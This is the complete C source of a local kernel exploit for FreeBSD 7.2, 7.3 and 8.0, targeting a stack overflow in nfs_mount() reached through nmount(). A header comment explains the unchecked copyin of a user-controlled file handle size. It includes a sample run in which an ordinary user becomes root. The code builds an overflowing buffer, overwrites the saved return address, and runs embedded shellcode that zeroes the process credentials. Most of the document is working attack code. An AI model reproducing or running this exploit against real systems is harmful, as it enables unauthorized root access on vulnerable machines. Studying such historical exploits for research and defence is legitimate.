1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 |
/* * nfs_mount_ex.c -- Patroklos Argyroudis, argp at domain census-labs.com * * Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2. * * FreeBSD 8.0-RELEASE: Local kernel crash/denial-of-service. * FreeBSD 7.3/7.2-RELEASE: Local privilege escalation. * * Discovered and exploited by Patroklos (argp) Argyroudis. * * The vulnerability is in nfs_mount() which is reachable by the mount(2) * and nmount(2) system calls.In order for them to be enabled for * unprivileged users the sysctl(8) variable vfs.usermount must be set to a * non-zero value. * * nfs_mount() employs an insufficient input validation method for copying * data passed in the struct nfs_args from userspace to kernel. * Specifically, the file handle to be mounted (nfs_args.fh) and its size * (nfs_args.fhsize) are completely user-controllable.In file * sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE: * * 1094if (!has_fh_opt) { * 1095error = copyin((caddr_t)args.fh, (caddr_t)nfh, * 1096 args.fhsize); * 1097if (error) { * 1098 goto out; * 1099} * * The above can cause a kernel stack overflow which leads to privilege * escalation in 7.3-RELEASE and 7.2-RELEASE, and a kernel crash / * denial-of-service in 8.0-RELEASE (due to SSP/ProPolice).7.1-RELEASE * and earlier do not seem to be vulnerable since the bug was introduced in * 7.2-RELEASE. * * Sample run: * * [argp@julius ~]$ uname -rsi * FreeBSD 7.3-RELEASE GENERIC * [argp@julius ~]$ sysctl vfs.usermount * vfs.usermount: 1 * [argp@julius ~]$ id * uid=1001(argp) gid=1001(argp) groups=1001(argp) * [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex * [argp@julius ~]$ ./nfs_mount_ex * [*] calling nmount() * [!] nmount error: -1030740736 * nmount: Unknown error: -1030740736 * [argp@julius ~]$ id * uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp) * * $Id: nfs_mount_ex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $ */ #include <sys/param.h> #include <sys/mount.h> #include <sys/uio.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sysexits.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #include <nfsclient/nfsargs.h> #define BUFSIZE 272 #define FSNAME"nfs" #define DIRPATH "/tmp/nfs" unsigned char kernelcode[] = "\x64\xa1\x00\x00\x00\x00"/* movl%fs:0, %eax */ "\x8b\x40\x04"/* movl0x4(%eax), %eax */ "\x8b\x40\x30"/* movl0x30(%eax),%eax */ "\x31\xc9"/* xorl%ecx, %ecx */ "\x89\x48\x04"/* movl%ecx, 0x4(%eax) */ "\x89\x48\x08"/* movl%ecx, 0x8(%eax) */ "\x81\xc4\xb0\x01\x00\x00"/* addl$0x1b0, %esp */ "\x5b"/* popl%ebx */ "\x5e"/* popl%esi */ "\x5f"/* popl%edi */ "\x5d"/* popl%ebp */ "\xc3"; /* ret */ int main() { char *ptr; long *lptr; struct nfs_args na; struct iovec iov[6]; na.version = 3; na.fh = calloc(BUFSIZE, sizeof(char)); if(na.fh == NULL) { perror("calloc"); exit(1); } memset(na.fh, 0x41, BUFSIZE); na.fhsize = BUFSIZE; ptr = (char *)na.fh; lptr = (long *)(na.fh + BUFSIZE - 8); *lptr++ = 0x12345678; /* saved %ebp */ *lptr++ = (u_long)ptr;/* saved %eip */ memcpy(ptr, kernelcode, (sizeof(kernelcode) - 1)); mkdir(DIRPATH, 0700); iov[0].iov_base = "fstype"; iov[0].iov_len = strlen(iov[0].iov_base) + 1; iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1; iov[2].iov_base = "fspath"; iov[2].iov_len = strlen(iov[2].iov_base) + 1; iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1; iov[4].iov_base = "nfs_args"; iov[4].iov_len = strlen(iov[4].iov_base) + 1; iov[5].iov_base = &na; iov[5].iov_len = sizeof(na); printf("[*] calling nmount()\n"); if(nmount(iov, 6, 0) < 0) { fprintf(stderr, "[!] nmount error: %d\n", errno); perror("nmount"); rmdir(DIRPATH); free(na.fh); exit(1); } printf("[*] unmounting and deleting %s\n", DIRPATH); unmount(DIRPATH, 0); rmdir(DIRPATH); free(na.fh); return 0; } /* EOF */ |